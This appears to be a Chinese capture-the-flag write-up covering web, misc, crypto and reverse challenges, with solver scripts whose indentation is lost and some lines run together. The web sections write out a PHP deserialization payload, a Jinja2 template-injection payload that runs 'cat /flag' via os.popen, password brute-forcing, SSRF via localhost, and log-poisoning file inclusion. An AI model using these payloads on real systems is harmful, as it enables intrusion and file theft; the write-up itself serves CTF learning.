比赛网站:https://cqctf.cyberworks.vip/
Web1
查看主页面显示Nothing
扫描目录发现www.zip
打开发现源码
反序列化,传入O:4:"Flag":1:{s:3:"cmd";s:9:"cat /flag";}
得到flag
Web2
源码中显示账号admin, 爆破出密码为password,登录后自动跳转fllllag.php, 但显示非本地用户
密码不正确时,会显示admin快照为
猜测为文件包含
账号输入http://127.0.0.1/fllllag.php
利用无字母绕过, 先执行ls 发现一个非常长的文件名,查看该文件,得到flag
Web3
一眼ssti
payload: {%print(url_for.__globals__.__builtins__['ev'+'al']("__import__('os').popen('cat /flag').read()"))%}
Web4
源码中说file参数,传入file参数测试后发现为文件包含,尝试包含日志文件
改useragent再请求,就可以执行任意代码了
weakweakweak
发现有一个1.zip文件,爆破发现密码为1,然后2.zip,...密码都为1,到6.zip时候密码就为0了, 发现密码不是1就是0
写解压脚本
import zipfile
import os
def auto_unzip():
password = 1
zip_name = "1.zip"
with open(\'2.txt\', \'a\') as file:
while os.path.exists(zip_name):
try:
os.system(f\'7za x -p1 {zip_name}\')
if os.path.getsize(str(password+1) + \'.zip\') == 0:
os.system(f\'7za x -p0 {zip_name}\')
print(\'y\')
file.write(\'0\')
else:
file.write(\'1\')
except:
print(1)
password+=1
zip_name = str(password) + \'.zip\'
file.close()
auto_unzip()
解压出了flag.txt
发现flag有不显示的字符,猜测为snow隐写,既然之前的密码不是1就是0,所以猜测密钥为之前的密码
得到密码zheshiyiqiangeyasuobao,snow解密得到flag
ez_moooo
encry = 13886761501271471256742975735606875665043393810046672609286397781950883002410651016649476270428546593
char = "abcdefghijklmnopqrstuvwxyz012345676879_-{}"
result = []
bit_length = encry.bit_length()
byte_length = bit_length // 8
while encry > 0:
value = encry & 0xFF
encry >>= 8
found_char = None
for ch in char:
ascii_value = ord(ch)
cube_mode_113 = (ascii_value ** 3 % 113)
if cube_mode_113 == value:
found_char = ch
break
if found_char:
result.append(found_char)
else:
print(1)
result.reverse()
flag = "".join(result)
print(flag)
解密得到flag
ea_rsa
第一部分使用脚本解出方程
from sympy import symbols, solve
n1=104803499480870386721537859758099203109331198777598222679085332319843634133277664207132715980491635286369435568392948520996716629229045835458101718776021067687639819960151582826151016379360702255558855924237164041839629648779474497583878687357197717633109486259932721636114000744017464535339102439372629511181
c1=258237062635320301593575424053133939031291470395564726247322634339023681114277060601441361065411547766696430126753240323385082752004517537721944059687823992965956167530242913140083306711561873363317164195518421594789543766263725648552530712086398318806583420313356753465704190466892101760494299094084372066
hint1=7795583829027195905098378518841836562665170646143221276306879199519593629647803207777092866296906064096364673810612759721990880687404270257111673022611475
hint2=13406612165231244773591159044914831968821734556283371112823017108948120436906586168699603681560367890975658071137103013635370970852357700174342401008531295
p_plus_q = hint1 + hint2
p_times_q = n1
p,q = symbols(\'p q\', integer=True)
eq1 = p+q-p_plus_q
eq2 = p*q-p_times_q
solutions = solve([eq1,eq2],(p,q))
print(solutions)
第二部分小e攻击
flag{e79fbfe7-cb70-48c0-bb94-6997d28e6f06}
re1
这是逆向吗?
hint是有残缺的flag,能猜到差三个字符,爆破:
import hashlib
strtry=list('abcdefghijklmnopqrstuvwxyz0123456789_')
for i in strtry: # 使用for循环逐个尝试所有的字母,chr(i)返回值是当前整数对应的 ASCII 字
符。
for j in strtry:
for k in strtry:
m = hashlib.md5() # 获取一个md5加密算法对象
m.update(str('flag{sh' + i+'_will_n' +j+k+'3r_l1ke_m3}').encode('utf- 8')) # 指定需要加密的字符串
des = m.hexdigest() # 进行md5加密
if des == 'db21eec0061edf40a2a4c891c5d0764f': # 如果得到的密文和我们预期 的密文相同,输出
print('flag{sh'+i+'_will_n'+j+k+'3r_l1ke_m3}')
crypto1
这是一个扩展欧几里得算法:
#此解密算法有瑕疵,结合正向爆破 # def decrypt(encrypted): # decrypted=''
# for i in encrypted:
# if i%3==0:
# a=127 # else:
# a=3
# a_inv=mod_inverse(a,m)
# decrypted_char=(a_inv*(i-b))%m # decrypted+=chr(decrypted_char)
# return decrypted
# decrypted_flag=decrypt(output) # print(decrypted_flag)
求出来不对,我就爆破了,反正output的每一个元素与flag中的元素是一一对应的。
def extended_gcd(a, b): if a == 0:
return (b, 0, 1)
gcd, x1, y1 = extended_gcd(b % a, a) x = y1 - (b // a) * x1
y = x1
return (gcd, x, y)
def mod_inverse(a, m):
gcd, x, y = extended_gcd(a, m) return x % m
m = 128 b = 3
def encrypt(text):
encrypted = []
for char in text:
ascii_code = ord(char)
a = 3 if ascii_code % 2 != 0 else 127 #奇数取3,偶数取127
encrypted_char = (a * ascii_code + b) % m encrypted.append(encrypted_char)
return encrypted
out=[29, 23, 38, 56, 116, 34, 81, 75, 28, 44, 34, 44, 40, 10, 31, 79, 29, 44, 10, 79, 29, 44, 40, 10, 38, 33, 38, 50, 10, 79, 44, 31, 50, 28, 33, 44, 77, 31, 46,
75, 33, 122]
oiu=[29, 23, 38, 56, 116, 34, 81, 75, 28, 44, 34, 44, 40, 10, 31, 79, 29, 44, 10, 79, 29, 44, 40, 10, 38, 33, 38, 50, 10, 79, 44, 31, 50, 28, 33, 44, 77, 31, 46,
75, 33, 122]#比对错误索引
#打印具体是哪个字符有误
for i in range(len(out)): if out[i] !=oiu[i]:
print(i)
#正向爆破
# patch=[0,0,0,0,0]
# num=[29,30,36,37,38] # output=[]
# strtry='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-' # for i in strtry:
# flag='flag{5283c5c7-d4fc-4fc7-abae-'+i+i+'de3bc'+i+i+i+'8b}'
# for j in range(5):
# output=encrypt(flag)
# if output[num[j]]==out[num[j]]:
# patch[j]=i
# print(patch) # print(flag)
flag='flag{5283c5c7-d4fc-4fc7-abae-4cde3bc6d98b}' output=encrypt(flag)
print(output)
#此解密算法有瑕疵,结合正向爆破 # def decrypt(encrypted): # decrypted=''
# for i in encrypted:
# if i%3==0:
# a=127 # else:
# a=3
# a_inv=mod_inverse(a,m)
# decrypted_char=(a_inv*(i-b))%m
# # if 0<=decrypted_char<=127:
# decrypted+=chr(decrypted_char)
# # else:
# # decrypted+='?'
# return decrypted
# decrypted_flag=decrypt(output) # print(decrypted_flag)
#flag{5283c5c7-4^fc-D^c7-abae-Dc4e3bcn498b}15,16,17,20,21 #flag{5283c5c7-d4fc-4fc7-abae-D0de3bcn0d8b}
#flag{5283c5c7-d4fc-4fc7-abae-4cde3bc6d98b}